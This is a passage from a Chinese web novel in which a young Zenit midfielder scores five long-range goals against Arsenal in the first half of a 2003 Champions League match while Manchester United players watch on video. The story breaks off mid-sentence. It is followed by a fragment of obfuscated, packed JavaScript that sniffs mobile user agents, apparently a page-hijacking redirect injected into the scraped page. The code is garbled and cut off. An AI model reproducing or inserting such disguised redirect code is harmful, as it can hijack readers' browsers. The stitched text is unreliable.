OOOOOOOOOOAL！！！！！”

    “第五个！第五个！！我的上帝！卡斯柯塔-西尔弗！在上半场结束前，他完成了……他完成了什么？！”

    “这场疯狂的比赛！！四次远程爆射，三次命中目标，两次造成门将脱手，一次直接破门！再加上他开场的中圈吊射……他一个人，在上半场就打进了……等等，让我数数……两个？不，五个！欧冠迎来了斯拉夫怪物！而且是面对阿森纳！比分现在是5：0！泽尼特5：0领先阿森纳！完全疯狂了！！不可思议！”

    解说员语无伦次的给镜头前的观众解说。

    整个球场陷入彻底的疯狂，然后是死寂，然后又爆发出更加恐怖的声浪。

    许多泽尼特球迷双手抱头，脸上是狂喜到近乎茫然的神色，他们也无法相信眼前发生的一切。

    阿森纳的球员们站在场上，有些人低头看着草皮，有些人茫然地望着记分牌，维埃拉双手叉腰，胸膛剧烈起伏，眼神中充满了震惊、挫败，以及一丝难以言喻的……恍惚。

    他们引以为傲的防守体系，他们的经验，他们的坚韧，在对方那个金发少年简单、粗暴、却精准到极致的远程火力覆盖下，显得如此脆弱和可笑。

    五比零。

    上半场，五比零。

    对手是阿森纳。

    上半场结束的哨声适时响起，如同为这场个人屠杀画下了一个休止符。

    卡斯柯塔完成读秒爆射后，依旧没有庆祝。

    他微微喘着气，看着球网里的皮球，仿佛在确认这一击的效果。

    汗水浸湿了他的金发，一缕缕贴在额前，金发中场转过身，没有看任何队友或对手，径直走向球员通道。

    卡斯柯塔的步伐依旧坚定，任谁都能感受到，那副平静躯壳下，刚刚释放了何等惊人的能量。

    彼得罗夫斯基球场记分牌上，猩红的 5 : 0，像五个鲜血淋漓的惊叹号，烙印在2003年秋天的这个夜晚，也烙印在了欧冠的历史，以及所有目睹这场比赛的人心中。

    怪物用最野蛮、最直接、也最震撼的方式，在那片领域里，刻下了自己无人能及的名字。

    噩梦剧场的中场休息，带着令人窒息的分差和仍未散尽的硝烟味，缓缓降临。

    曼彻斯特，曼联

    屏幕上的特写镜头死死咬住卡斯柯塔。

    那双低垂的眉眼，紧抿的薄唇，以及周身弥漫开来的、近乎实质的阴翳低气压，即便隔着屏幕与千里之遥，也让卡灵顿录像室内的空气为之一窒。

    “看，他确实很生气。”有人低语。

    但下一刻，当主场球迷鼓噪着要求“以牙还牙”时，卡斯柯塔那淡漠的一瞥，以及随之彻底沉静下来的气场，让先前低语的人瞬间收声。

    “他没听。”加里-内维尔盯着屏幕，喃喃道。

    “他听见了，”克里斯蒂亚诺突然开口，声音不高，却带着一种奇异的笃定，翻译同步低语，“但他选择不听。”

    葡萄牙少年的目光仿佛能穿透像素，直抵那个同龄人的内心：“别人的方式是‘撞回去’，他的方式是……‘由我决定’。”

    话音未落，屏幕中的“怪物”已然行动。

    然后，便是那颠覆所有人认知与想象、长达十五分钟的、纯粹的暴力美学展示。

    当卡斯柯塔不再尝试组织，而是化身为一台全功率驱动的“抢断-射门”机器时，曼联录像室内起初还弥漫着一种基于职业经验的评估低语。

    “位置提得太靠前了，身后空档……”

    “这么射太浪费体力，下半场…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|